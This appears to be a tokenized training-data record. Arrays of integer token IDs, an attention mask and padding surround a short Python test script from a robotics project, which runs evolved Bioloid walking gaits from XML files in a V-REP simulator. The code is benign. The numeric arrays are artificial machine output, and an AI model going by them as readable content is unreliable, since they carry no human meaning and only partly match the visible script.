25108, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 16786, 3434, 370, 2754, 367, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 1899, 4131, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 33, 26707, 13727, 2457, 1059, 370, 675, 367, 922, 28640, 12, 325, 14, 71, 14, 7340, 1802, 29, 10, 2113, 25952, 297, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 6293, 3314, 8300, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 10167, 14, 8015, 394, 638, 316, 2410, 17196, 2410, 17196, 282, 1347, 922, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 1944, 22638, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 298, 16932, 1133, 18249, 1924, 1591, 370, 4868, 652, 1159, 1536, 2544, 3720, 10417, 4765, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 10796, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 10796, 3382, 3720, 10417, 7057, 12, 4243, 370, 378, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 7705, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 1918, 2881, 370, 675, 367, 314, 1827, 12, 4243, 370, 314, 1453, 2881, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 7705, 7506, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 7705, 7614, 370, 16806, 20717, 9212, 4012, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 22785, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 1918, 5696, 23002, 7183, 370, 5341, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 789, 267, 789, 398, 327, 3354, 2331, 282, 1331, 402, 314, 2446, 5977, 909, 370, 2879, 5957, 9330, 267, 327, 257, 2839, 19946, 15, 4054, 8297, 15, 6839, 14, 267, 291, 14, 973, 5977, 275, 2446, 5977, 398, 367, 1215, 315, 1862, 26, 288, 327, 2725, 1475, 365, 359, 985, 12, 1594, 61, 288, 945, 12, 574, 275, 1215, 288, 340, 945, 315, 291, 14, 1419, 26, 355, 291, 14, 1419, 59, 1422, 2733, 1110, 418, 275, 574, 2378, 347, 3550, 8, 277, 304, 2728, 859, 985, 275, 291, 14, 815, 905, 985, 937, 2728, 327, 1586, 315, 314, 2863, 7074, 1345, 14, 1190, 17, 859, 1350, 1233, 267, 859, 2980, 275, 291, 14, 973, 5977, 14, 3174, 2042, 435, 3286, 576, 15, 578, 63, 1365, 15, 2221, 4086, 279, 63, 14600, 4171, 15, 1200, 15, 5652, 1345, 14, 1190, 17, 2, 398, 862, 26, 288, 289, 275, 1551, 8, 578, 2980, 12, 283, 82, 358, 267, 871, 26, 288, 870, 10897, 14, 2326, 10994, 1, 61, 18615, 440, 1586, 859, 1350, 931, 737, 26, 298, 435, 620, 8, 578, 2980, 430, 288, 372, 3087, 398, 859, 3034, 275, 289, 14, 739, 342, 267, 289, 14, 1600, 342, 398, 327, 664, 2951, 314 ]
[ 1973, 14, 2330, 492, 10897, 199, 199, 533, 5673, 26, 339, 347, 636, 826, 721, 277, 12, 2446, 5977, 12, 1862, 17894, 398, 291, 14, 815, 275, 469, 288, 283, 985, 356, 283, 27736, 13, 3498, 40, 7867, 297, 953, 283, 5949, 356, 788, 32, 72, 5362, 74, 16, 89, 995, 953, 283, 5831, 356, 661, 3227, 314, 2112, 5548, 402, 3982, 20601, 12, 18112, 367, 10358, 543, 282, 2488, 536, 503, 23191, 701, 282, 2488, 922, 8038, 953, 283, 14148, 7, 520, 715, 12, 953, 283, 2959, 6382, 7, 520, 488, 12, 7846, 283, 28390, 4880, 7, 520, 756, 12, 953, 283, 4619, 3321, 11090, 7, 520, 715, 12, 7846, 283, 4649, 5067, 3353, 7, 520, 283, 18, 297, 7846, 283, 18929, 356, 359, 355, 283, 2859, 921, 5031, 14, 957, 15, 6921, 8529, 37, 311, 3621, 15, 6921, 11654, 15, 2350, 15, 4133, 15, 6921, 2768, 7, 288, 1622, 267, 789, 398, 327, 1263, 1511, 4346, 701, 314, 859, 12, 663, 1224, 5309, 8836, 267, 291, 14, 1419, 275, 469, 288, 327, 1475, 26, 288, 327, 257, 574, 63, 354, 520, 469, 1802, 12, 1415, 12, 849, 63, 585, 93, 288, 283, 7788, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 7788, 370, 1255, 859, 641, 3130, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 2404, 2699, 985, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 19620, 370, 3874, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 2404, 2699, 4131, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 4965, 2457, 536, 370, 1827, 16271, 367, 12, 24952, 10226, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 3498, 985, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 1918, 536, 402, 314, 2112, 370, 394, 638, 12, 503, 282, 10029, 11673, 769, 402, 1561, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 14405, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 2448, 536, 370, 1827, 367, 1347, 4390, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 4277, 3120, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 40, 638, 367, 4390, 3963, 787, 15826, 2257, 4628, 83, 641, 282, 1347, 1654, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 25108, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 16786, 3434, 370, 2754, 367, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 1899, 4131, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 33, 26707, 13727, 2457, 1059, 370, 675, 367, 922, 28640, 12, 325, 14, 71, 14, 7340, 1802, 29, 10, 2113, 25952, 297, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 6293, 3314, 8300, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 10167, 14, 8015, 394, 638, 316, 2410, 17196, 2410, 17196, 282, 1347, 922, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 1944, 22638, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 298, 16932, 1133, 18249, 1924, 1591, 370, 4868, 652, 1159, 1536, 2544, 3720, 10417, 4765, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 10796, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 10796, 3382, 3720, 10417, 7057, 12, 4243, 370, 378, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 7705, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 1918, 2881, 370, 675, 367, 314, 1827, 12, 4243, 370, 314, 1453, 2881, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 7705, 7506, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 7705, 7614, 370, 16806, 20717, 9212, 4012, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 22785, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 1918, 5696, 23002, 7183, 370, 5341, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 789, 267, 789, 398, 327, 3354, 2331, 282, 1331, 402, 314, 2446, 5977, 909, 370, 2879, 5957, 9330, 267, 327, 257, 2839, 19946, 15, 4054, 8297, 15, 6839, 14, 267, 291, 14, 973, 5977, 275, 2446, 5977, 398, 367, 1215, 315, 1862, 26, 288, 327, 2725, 1475, 365, 359, 985, 12, 1594, 61, 288, 945, 12, 574, 275, 1215, 288, 340, 945, 315, 291, 14, 1419, 26, 355, 291, 14, 1419, 59, 1422, 2733, 1110, 418, 275, 574, 2378, 347, 3550, 8, 277, 304, 2728, 859, 985, 275, 291, 14, 815, 905, 985, 937, 2728, 327, 1586, 315, 314, 2863, 7074, 1345, 14, 1190, 17, 859, 1350, 1233, 267, 859, 2980, 275, 291, 14, 973, 5977, 14, 3174, 2042, 435, 3286, 576, 15, 578, 63, 1365, 15, 2221, 4086, 279, 63, 14600, 4171, 15, 1200, 15, 5652, 1345, 14, 1190, 17, 2, 398, 862, 26, 288, 289, 275, 1551, 8, 578, 2980, 12, 283, 82, 358, 267, 871, 26, 288, 870, 10897, 14, 2326, 10994, 1, 61, 18615, 440, 1586, 859, 1350, 931, 737, 26, 298, 435, 620, 8, 578, 2980, 430, 288, 372, 3087, 398, 859, 3034, 275, 289, 14, 739, 342, 267, 289, 14, 1600, 342, 398, 327, 664, 2951, 314, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
aguirrea/lucy
tests/testBalieroWalk.py
1
2371
#! /usr/bin/env python # -*- coding: utf-8 -*- # Andrés Aguirre Dorelo # MINA/INCO/UDELAR # # Execution of individuals resulted from the Baliero and Pias work # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import glob import os import sys import time from configuration.LoadSystemConfiguration import LoadSystemConfiguration from datatypes.DTIndividualGeneticMaterial import DTIndividualGeneticTimeSerieFile, DTIndividualGeneticMatrix from datatypes.DTIndividualProperty import DTIndividualPropertyBaliero, DTIndividualPropertyPhysicalBioloid from Individual import Individual balieroProp = DTIndividualPropertyBaliero() physicalProp = DTIndividualPropertyPhysicalBioloid() conf = LoadSystemConfiguration() BalieroDir = os.getcwd()+conf.getDirectory("Baliero transformed walk Files") arguments = len(sys.argv) def createIndividual(filename): if int(conf.getProperty("Lucy simulated?"))==1: walk = Individual(balieroProp, DTIndividualGeneticTimeSerieFile(os.getcwd()+"/"+filename)) else: walk = Individual(physicalProp, DTIndividualGeneticTimeSerieFile(os.getcwd()+"/"+filename)) return walk walk = Individual(balieroProp, DTIndividualGeneticMatrix()) #dummy individual to initialise the simulator and enable the time step configuration walk.execute() print "please set the proper time step in vrep" time.sleep(5) if arguments > 1: files = sys.argv[1:] for filename in files: print 'executing individual: ' + filename walk = createIndividual(filename) walk.execute() else: for filename in glob.glob(os.path.join(BalieroDir, '*.xml')): print 'executing individual: ' + filename walk = createIndividual(filename) walk.execute()
gpl-3.0
[ 3168, 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 6061, 82, 5741, 83, 437, 6051, 723, 264, 577, 720, 320, 199, 3, 15861, 33, 15, 568, 1439, 15, 53, 4424, 689, 199, 3, 199, 3, 28573, 402, 8212, 83, 522, 30355, 687, 314, 699, 10874, 3478, 436, 510, 2241, 1736, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 221, 11315, 13, 10067, 221, 8217, 199, 199, 646, 5739, 199, 646, 747, 199, 646, 984, 199, 646, 900, 199, 199, 504, 2897, 14, 6200, 3989, 5688, 420, 492, 7190, 3989, 5688, 199, 504, 16048, 83, 14, 7438, 28604, 39, 6349, 764, 15787, 420, 492, 19852, 28604, 39, 6349, 764, 1366, 1505, 1873, 1173, 12, 19852, 28604, 39, 6349, 764, 6443, 199, 504, 16048, 83, 14, 7438, 28604, 3697, 3777, 492, 19852, 28604, 3697, 34, 10874, 3478, 12, 19852, 28604, 3697, 20303, 34, 2308, 320, 344, 199, 199, 504, 1010, 15067, 2476, 492, 1010, 15067, 199, 199, 4982, 73, 3478, 9955, 275, 19852, 28604, 3697, 34, 10874, 3478, 342, 199, 15020, 9955, 275, 19852, 28604, 3697, 20303, 34, 2308, 320, 344, 342, 421, 199, 2190, 275, 7190, 3989, 5688, 342, 199, 199, 34, 10874, 3478, 3567, 275, 747, 14, 9458, 24543, 2190, 14, 362, 6231, 480, 34, 10874, 3478, 14834, 12778, 16920, 531, 199, 199, 4958, 275, 822, 8, 1274, 14, 3020, 9, 199, 199, 318, 1218, 28604, 8, 1501, 304, 272, 340, 1109, 8, 2190, 14, 28449, 480, 44, 947, 89, 4389, 8097, 31, 2237, 389, 17, 26, 267, 12778, 275, 1010, 15067, 8, 4982, 73, 3478, 9955, 12, 19852, 28604, 39, 6349, 764, 1366, 1505, 1873, 1173, 8, 736, 14, 9458, 342, 5207, 25976, 1501, 430, 272, 587, 26, 267, 12778, 275, 1010, 15067, 8, 15020, 9955, 12, 19852, 28604, 39, 6349, 764, 1366, 1505, 1873, 1173, 8, 736, 14, 9458, 342, 5207, 25976, 1501, 430, 272, 372, 12778, 199, 199, 7757, 275, 1010, 15067, 8, 4982, 73, 3478, 9955, 12, 19852, 28604, 39, 6349, 764, 6443, 1012, 327, 5869, 8212, 370, 2536, 572, 314, 15797, 436, 4756, 314, 900, 3650, 2897, 199, 7757, 14, 2526, 342, 199, 1361, 298, 27567, 663, 314, 5576, 900, 3650, 315, 373, 1155, 2, 199, 521, 14, 4532, 8, 21, 9, 199, 692, 2368, 690, 413, 26, 272, 1584, 275, 984, 14, 3020, 59, 17, 2938, 272, 367, 1788, 315, 1584, 26, 267, 870, 283, 23722, 8212, 26, 283, 435, 1788, 267, 12778, 275, 1218, 28604, 8, 1501, 9, 267, 12778, 14, 2526, 342, 199, 2836, 26, 272, 367, 1788, 315, 5739, 14, 6463, 8, 736, 14, 515, 14, 904, 8, 34, 10874, 3478, 3567, 12, 11937, 1652, 8109, 267, 870, 283, 23722, 8212, 26, 283, 435, 1788, 267, 12778, 275, 1218, 28604, 8, 1501, 9, 267, 12778, 14, 2526, 342, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 6061, 82, 5741, 83, 437, 6051, 723, 264, 577, 720, 320, 199, 3, 15861, 33, 15, 568, 1439, 15, 53, 4424, 689, 199, 3, 199, 3, 28573, 402, 8212, 83, 522, 30355, 687, 314, 699, 10874, 3478, 436, 510, 2241, 1736, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 221, 11315, 13, 10067, 221, 8217, 199, 199, 646, 5739, 199, 646, 747, 199, 646, 984, 199, 646, 900, 199, 199, 504, 2897, 14, 6200, 3989, 5688, 420, 492, 7190, 3989, 5688, 199, 504, 16048, 83, 14, 7438, 28604, 39, 6349, 764, 15787, 420, 492, 19852, 28604, 39, 6349, 764, 1366, 1505, 1873, 1173, 12, 19852, 28604, 39, 6349, 764, 6443, 199, 504, 16048, 83, 14, 7438, 28604, 3697, 3777, 492, 19852, 28604, 3697, 34, 10874, 3478, 12, 19852, 28604, 3697, 20303, 34, 2308, 320, 344, 199, 199, 504, 1010, 15067, 2476, 492, 1010, 15067, 199, 199, 4982, 73, 3478, 9955, 275, 19852, 28604, 3697, 34, 10874, 3478, 342, 199, 15020, 9955, 275, 19852, 28604, 3697, 20303, 34, 2308, 320, 344, 342, 421, 199, 2190, 275, 7190, 3989, 5688, 342, 199, 199, 34, 10874, 3478, 3567, 275, 747, 14, 9458, 24543, 2190, 14, 362, 6231, 480, 34, 10874, 3478, 14834, 12778, 16920, 531, 199, 199, 4958, 275, 822, 8, 1274, 14, 3020, 9, 199, 199, 318, 1218, 28604, 8, 1501, 304, 272, 340, 1109, 8, 2190, 14, 28449, 480, 44, 947, 89, 4389, 8097, 31, 2237, 389, 17, 26, 267, 12778, 275, 1010, 15067, 8, 4982, 73, 3478, 9955, 12, 19852, 28604, 39, 6349, 764, 1366, 1505, 1873, 1173, 8, 736, 14, 9458, 342, 5207, 25976, 1501, 430, 272, 587, 26, 267, 12778, 275, 1010, 15067, 8, 15020, 9955, 12, 19852, 28604, 39, 6349, 764, 1366, 1505, 1873, 1173, 8, 736, 14, 9458, 342, 5207, 25976, 1501, 430, 272, 372, 12778, 199, 199, 7757, 275, 1010, 15067, 8, 4982, 73, 3478, 9955, 12, 19852, 28604, 39, 6349, 764, 6443, 1012, 327, 5869, 8212, 370, 2536, 572, 314, 15797, 436, 4756, 314, 900, 3650, 2897, 199, 7757, 14, 2526, 342, 199, 1361, 298, 27567, 663, 314, 5576, 900, 3650, 315, 373, 1155, 2, 199, 521, 14, 4532, 8, 21, 9, 199, 692, 2368, 690, 413, 26, 272, 1584, 275, 984, 14, 3020, 59, 17, 2938, 272, 367, 1788, 315, 1584, 26, 267, 870, 283, 23722, 8212, 26, 283, 435, 1788, 267, 12778, 275, 1218, 28604, 8, 1501, 9, 267, 12778, 14, 2526, 342, 199, 2836, 26, 272, 367, 1788, 315, 5739, 14, 6463, 8, 736, 14, 515, 14, 904, 8, 34, 10874, 3478, 3567, 12, 11937, 1652, 8109, 267, 870, 283, 23722, 8212, 26, 283, 435, 1788, 267, 12778, 275, 1218, 28604, 8, 1501, 9, 267, 12778, 14, 2526, 342, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
